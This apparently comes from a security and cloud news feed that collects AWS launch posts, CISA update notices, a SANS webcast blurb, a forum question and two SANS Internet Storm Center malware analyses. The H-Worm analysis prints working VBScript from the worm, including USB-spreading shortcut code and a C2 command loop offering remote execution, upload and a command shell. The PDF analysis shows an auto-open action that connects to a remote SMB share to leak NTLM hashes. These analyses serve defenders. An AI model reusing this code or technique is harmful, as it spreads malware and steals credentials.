Special Webcast: The SANS ICS Summit 2019 and What to Expect – February 18, 2019 1:00pm US/Eastern

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Speakers: Robert M. Lee, Tim Conway

Join Robert M. Lee and Tim Conway as they discuss and highlight upcoming ICS talks and exciting networking opportunities at the SANS ICS Security Summit 2019. Now in its 14th year, the annual ICS Security Summit brings together practitioners and leading experts to share ideas, methods, and techniques for defending control system environments. In-depth presentations and interactive panel discussions deliver real-world approaches that work and make a difference for the individuals fighting this fight every day.

The ICS Security Summit will address a wide range of topics, including:

  • Understanding what an attack against your organization will look like (deconstructing real-world ICS attacks and technical threats)
  • Live attack demonstrations & the defenses needed to stop them
  • Case studies and success stories
  • System and organizational investment opportunities that reduce attacker effects
  • Future attack vectors on ICS
  • Mitigations – Defenders, governance, and controls

Learn More

Podcast #299: February 2019 Updates

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Simon guides you through lots of new features, services and capabilities that you can take advantage of. Including the new AWS Backup service, more powerful GPU capabilities, new SLAs and much, much more!

Chapters:

Service Level Agreements 0:17
Storage 0:57
Media Services 5:08
Developer Tools 6:17
Analytics 9:54
AI/ML 12:07
Database 14:47
Networking & Content Delivery 17:32
Compute 19:02
Solutions 21:57
Business Applications 23:38
AWS Cost Management 25:07
Migration & Transfer 25:39
Application Integration 26:07
Management & Governance 26:32
End User Computing 29:22

Additional Resources

Topic || Service Level Agreements 0:17

Topic || Storage 0:57

Topic || Media Services 5:08

Topic || Developer Tools 6:17

Topic || Analytics 9:54

Topic || AI/ML 12:07

Topic || Database 14:47

Topic || Networking and Content Delivery 17:32

Topic || Compute 19:02

Topic || Solutions 21:57

Topic || Business Applications 23:38

Topic || AWS Cost Management 25:07

Topic || Migration and Transfer 25:39

Topic || Application Integration 26:07

Topic || Management and Governance 26:32

Topic || End User Computing 29:22

About the AWS Podcast

The AWS Podcast is a cloud platform podcast for developers, dev ops, and cloud professionals seeking the latest news and trends in storage, security, infrastructure, serverless, and more. Join Simon Elisha and Jeff Barr for regular updates, deep dives and interviews. Whether you’re building machine learning and AI models, open source projects, or hybrid cloud solutions, the AWS Podcast has something for you. Subscribe with one of the following:

Like the Podcast?

Rate us on iTunes and send your suggestions, show ideas, and comments to awspodcast@amazon.com. We want to hear from you!

VMware Releases Security Updates

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Original release date: February 15, 2019

VMware has released security updates to address a vulnerability affecting multiple VMware products. An attacker could exploit this vulnerability to take control of an affected system.  

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review VMware Security Advisory VMSA-2019-0001 and apply the necessary updates.


This product is provided subject to this Notification and this Privacy & Use policy.

Old H-Worm Delivered Through GitHub, (Thu, Feb 14th)

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Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:

hxxps://raw.githubusercontent[.]com/sidilig/sharing/ebk-ci/Ebanking.zip

Let’s have a look at the archive content:

ISC $ shasum -a 256 Ebanking.zip
abb244010410ce6012bac9e4fc902432cfebe06724d014c63d9ef21f0a6b8b78  Ebanking.zip
ISC $ unzip -t Ebanking.zip
Archive:  Ebanking.zip
    testing: Mesures de sécurité.jar   OK
    testing: Habilitations Ebank.vbs   OK
No errors detected in compressed data of Ebanking.zip.
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b  Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a  Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values
   ...
End Class
Set myClass = new Values
myClass.Start()

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off)
  Dim stapler, hp_pc, pillow, ruben
  stapler = "!@"
  hp_pc = "A"
  pillow = "Q29uc3QgVHlw....."
  ruben = Replace(pillow, stapler, hp_pc)
  peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start()
  Set yhm_pepe = CreateObject("ADODB.Stream")
  Set spike = CreateObject("Microsoft.XMLDOM")
  If john_conor(1, peter_paul(0, False)) = ojor Then
    ExecuteGlobal ojor
  End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives
  if  drive.isready = true then
    if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "" & installname,true
        if  filesystemobj.fileexists (drive.path & "" & installname)  then
          filesystemobj.getfile(drive.path & ""  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "" ).Files
          if not lnkfile then exit for
            if  instr (file.name,".") then
              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                  filename = split(file.name,".")
                  set lnkobj = shellobj.createshortcut (drive.path & ""&filename (0)&".lnk")
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ",     chrw(34) & " " & chrw(34)) &"&exit"
                   filleicon = shellobj.regread ("HKEY_LOCAL_MACHINEsoftwareclasses" & shellobj.regread ("HKEY_LOCAL_MACHINEsoftwareclasses." &     split(file.name, ".")(ubound(split(file.name, ".")))& "") & "defaulticon")
                   if  instr (fileicon,",") = 0 then
                     lnkobj.iconlocation = file.path
                   else
                     lnkobj.iconlocation = fileicon
                   end if
                   lnkobj.save()
                 end if
               end if
             end if
           next

When the installation is successful, it starts to communicate with the C2 server:  hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904<|>PLAYBOX1<|>Xavier<|>Microsoft Windows XP Professional<|>plus<|>nan-av<|>false - 15/02/2019
Accept-Encoding: gzip, deflate
Host: ghanaandco.sytes.net:3007
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18

sleep<|>5000

Here is the main loop waiting for commands:

while true
  install
  response = ""
  response = post ("is-ready","")
  cmd = split (response,spliter)
  select case cmd (0)
    case "excecute"
      param = cmd (1)
      execute param
    case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit
    case "uninstall"
      uninstall
    case "send"
      download cmd (1),cmd (2)
    case "site-send"
      sitedownloader cmd (1),cmd (2)
    case "recv"
      param = cmd (1)
      upload (param)
    case  "enum-driver"
       post "is-enum-driver",enumdriver
     case  "enum-faf"
       param = cmd (1)
       post "is-enum-faf",enumfaf (param)
     case  "enum-process"
       post "is-enum-process",enumprocess
     case  "cmd-shell"
       param = cmd (1)
       post "is-cmd-shell",cmdshell (param)
     case  "delete"
        param = cmd (1)
        deletefaf (param)
      case  "exit-process"
        param = cmd (1)
        exitprocess (param)
      case  "sleep"
        param = cmd (1)
        sleep = eval (param)
    end select
  wscript.sleep sleep
wend

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!

[1] https://www.alexa.com/siteinfo/github.com
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drivetype-property
[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Mozilla Releases Security Update for Thunderbird

This post was originally published on this site

Original release date: February 14, 2019

Mozilla has released a security update to address vulnerabilities in Thunderbird. An attacker could exploit some of these vulnerabilities to take control of an affected system.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review the Mozilla Security Advisory for Thunderbird 60.5.1 and apply the necessary update.


This product is provided subject to this Notification and this Privacy & Use policy.

Now Available – Five New Amazon EC2 Bare Metal Instances: M5, M5d, R5, R5d, and z1d

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Today we are launching the five new EC2 bare metal instances that I promised you a few months ago. Your operating system runs on the underlying hardware and has direct access to the processor and other hardware. The instances are powered by AWS-custom Intel® Xeon® Scalable Processor (Skylake) processors that deliver sustained all-core Turbo performance.

Here are the specs:

Instance Name Sustained All-Core Turbo
Logical Processors Memory Local Storage EBS-Optimized Bandwidth Network Bandwidth
m5.metal Up to 3.1 GHz 96 384 GiB 14 Gbps 25 Gbps
m5d.metal Up to 3.1 GHz 96 384 GiB 4 x 900 GB NVMe SSD 14 Gbps 25 Gbps
r5.metal Up to 3.1 GHz 96 768 GiB 14 Gbps 25 Gbps
r5d.metal Up to 3.1 GHz 96 768 GiB 4 x 900 GB NVMe SSD 14 Gbps 25 Gbps
z1d.metal Up to 4.0 GHz 48 384 GiB 2 x 900 GB NVMe SSD 14 Gbps 25 Gbps

The M5 instances are designed for general-purpose workloads, such as web and application servers, gaming servers, caching fleets, and app development environments. The R5 instances are designed for high performance databases, web scale in-memory caches, mid-sized in-memory databases, real-time big data analytics, and other memory-intensive enterprise applications. The M5d and R5d variants also include 3.6 TB of local NVMe SSD storage.

z1d instances provide high compute performance and lots of memory, making them ideal for electronic design automation (EDA) and relational databases with high per-core licensing costs. The high CPU performance allows you to license fewer cores and significantly reduce your TCO for Oracle or SQL Server workloads.

All of the instances are powered by the AWS Nitro System, with dedicated hardware accelerators for EBS processing (including crypto operations), the software-defined network inside of each Virtual Private Cloud (VPC), ENA networking, and access to the local NVMe storage on the M5d, R5d, and z1d instances. Bare metal instances can also take advantage of Elastic Load Balancing, Auto Scaling, Amazon CloudWatch, and other AWS services.

In addition to being a great home for old-school applications and system software that are licensed specifically and exclusively for use on physical, non-virtualized hardware, bare metal instances can be used to run tools and applications that require access to low-level processor features such as performance counters. For example, Mozilla’s Record and Replay Framework (rr) records and replays program execution with low overhead, using the performance counters to measure application performance and to deliver signals and context-switch events with high fidelity. You can read their paper, Engineering Record And Replay For Deployability, to learn more.

Launch One Today
m5.metal instances are available in the US East (N. Virginia and Ohio), US West (N. California and Oregon), Europe (Frankfurt, Ireland, London, Paris, and Stockholm), and Asia Pacific (Mumbai, Seoul, Singapore, Sydney, and Tokyo) AWS regions.

m5d.metal instances are available in the US East (N. Virginia and Ohio), US West (Oregon), Europe (Frankfurt, Ireland, Paris, and Stockholm), and Asia Pacific (Mumbai, Seoul, Singapore, and Sydney) AWS regions.

r5.metal instances are available in the US East (N. Virginia and Ohio), US West (N. California and Oregon), Europe (Frankfurt, Ireland, Paris, and Stockholm), Asia Pacific (Mumbai, Seoul, and Singapore), and AWS GovCloud (US-West) AWS regions.

r5d.metal instances are available in the US East (N. Virginia and Ohio), US West (N. California), Europe (Frankfurt, Paris, and Stockholm), Asia Pacific (Mumbai, Seoul, and Singapore), and AWS GovCloud (US-West) AWS regions.

z1d.metal instances are available in the US East (N. Virginia), US West (N. California and Oregon), Europe (Ireland), and Asia Pacific (Singapore and Tokyo) AWS regions.

The bare metal instances will become available in even more AWS regions as soon as possible.

Jeff;

 

Suspicious PDF Connecting to a Remote SMB Share, (Thu, Feb 14th)

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Yesterday I stumbled upon a PDF file that was flagged as suspicious by a customer’s anti-malware solution and placed in the quarantine. Later, the recipient contacted the team in charge of emails to access his document because he knew the sender and pretended that the file was legit.

The file looked indeed safe and the content was properly related to the customer’s business. I did a quick analysis of the file in my sanbox and, once the file opened, Acrobat Reader attempted to connect to a remote SMB share. I extracted objects from the PDF file and there was indeed a reference to a SMB share. When you ask a computer to connect to such a service, you immediately think about NTLM hashes leak.

Here is the object extracted from the PDF:

obj 10 0
 Type: /Page
 Referencing: 9 0 R, 6 0 R, 11 0 R, 12 0 R, 13 0 R, 7 0 R, 2 0 R, 14 0 R, 1 0 R, 15 0 R, 16 0 R, 17 0 R, 18 0 R, 3 0 R, 19 0 R, 20 0 R

  <<
    /AA
      <<
        /O
          <<
            /F '(\virtualofficestorage[.]comdocs_share)'
            /D [ 0 /Fit]
            /S /GoToE
          >>
      >>
    /Parent 9 0 R
    /Contents [6 0 R 11 0 R 12 0 R 13 0 R 7 0 R]
    /Type /Page
    /Resources
      <<
        /ExtGState
          <<
            /Xi1 2 0 R
          >>
        /XObject
          <<
            /BG0 14 0 R
            /Xi0 1 0 R
            /CL 15 0 R
          >>
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
        /Font
          <<
            /F_2 16 0 R
            /F_0 17 0 R
            /F_1 18 0 R
            /Xi2 3 0 R
          >>
      >>
    /MediaBox [0 -0.02000 598.80 844.08]
    /Annots [19 0 R 20 0 R]
  >>

The domain virtualofficestorage[.]com[1] resolves to %%ip:185.225.17.98%%, located in Romania. Shodan reports indeed a SMB share:

Helas, it does not reply anymore (last seen on 2019-02-03). There is a website running on this domain, it serves the default Ubuntu Apache welcome page. 

I can’t share the file not the hash but did you notice the same behavious with other PDF documents? Do you know more about this domain? (VT has only one reference to the same kind of document[2])
Please share!

[1] https://www.virustotal.com/#/domain/virtualofficestorage.com
[2] https://www.virustotal.com/#/file/746794ca49f497b43eb53a2fb25c4a0b3782002a45f498c047fa07d46cd43592/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

New – Infrequent Access Storage Class for Amazon Elastic File System (EFS)

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Amazon Elastic File System lets you create petabyte-scale file systems that can be accessed in massively parallel fashion from hundreds or thousands of EC2 instances and on-premises servers, while scaling on demand without disrupting applications. Since the mid-2016 launch of EFS, we have added many new features including encryption of data at rest and in transit, a provisioned throughput option when you need high throughput access to a set of files that do not occupy a lot of space, on-premises access via AWS Direct Connect, EFS File Sync, support for AWS VPN and Inter-Region VPC Peering, and more.

Infrequent Access Storage Class
Today I would like to tell you about the new Amazon EFS Infrequent Access storage class, as pre-announced at AWS re:Invent. As part of a new Lifecycle Management option for EFS file systems, you can now indicate that you want to move files that have not been accessed in the last 30 days to a storage class that is 85% less expensive. You can enable the use of Lifecycle Management when you create a new EFS file system, and you can enable it later for file systems that were created on or after today’s launch.

The new storage class is totally transparent. You can still access your files as needed and in the usual way, with no code or operational changes necessary.

You can use the Infrequent Access storage class to meet auditing and retention requirements, create nearline backups that can be recovered using normal file operations, and to keep data close at hand that you need on an occasional basis.

Here are a couple of things to keep in mind:

Eligible Files – Files that are 128 KiB or larger and that have not been accessed or modified for at least 30 days can be transitioned to the new storage class. Modifications to a file’s metadata that do not change the file will not delay a transition.

Priority – Operations that transition files to Infrequent Access run at a lower priority than other operations on the file system.

Throughput – If your file system is configured for Bursting mode, the amount of Standard storage determines the throughput. Otherwise, the provisioned throughput applies.

Enabling Lifecycle Management
You can enable Lifecycle Management and benefit from the Infrequent Access storage class with one click:

As I noted earlier, you can check this when you create the file system, or you can enable it later for file systems that you create from now on.

Files that have not been read or written for 30 days will be transitioned to the Infrequent Access storage class with no further action on your part. Files in the Standard Access class can be accessed with latency measured in single-digit milliseconds; files in the Infrequent Access class have latency in the double-digits. Your next AWS bill will include information on your use of both storage classes, so that you can see your cost savings.

Available Now
This feature is available now and you can start using it today in all AWS Regions where EFS is available. Infrequent Access storage is billed at $0.045 per GB/Month in US East (N. Virginia), with correspondingly low pricing in other regions. There’s also a data transfer charge of $0.01 per GB for reads and writes to Infrequent Access storage.

Like every AWS service and feature, we are launching with an initial set of features and a really strong roadmap! For example, we are working on additional lifecycle management flexibility, and would be very interested in learning more about what kinds of times and rules you would like.

Jeff;

PS – AWS DataSync will help you to quickly and easily automate data transfer between your existing on-premises storage and EFS.

6.5 U2 – Install on HP DL360 G10

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I am looking to do a fresh install of 6.5 U2 on a HP DL360 G10 Server.  I have downloaded the customized iso for this server and have created a bootable USB using Rufus.  I used MBR partition scheme for UEFI and FAT32.  These are the settings I have used in the past on other servers.

However, while going through the install, it keeps hanging at 75%.  Once it gets to 75% in errors out with “errno2 No Such File or Directory”.  This occurs with the customized iso for HP as well as the standard iso for 6.5.  I have tried different USB’s and have disabled the secure boot option in the BIOS. 

 

Any help or suggestions is appreciated.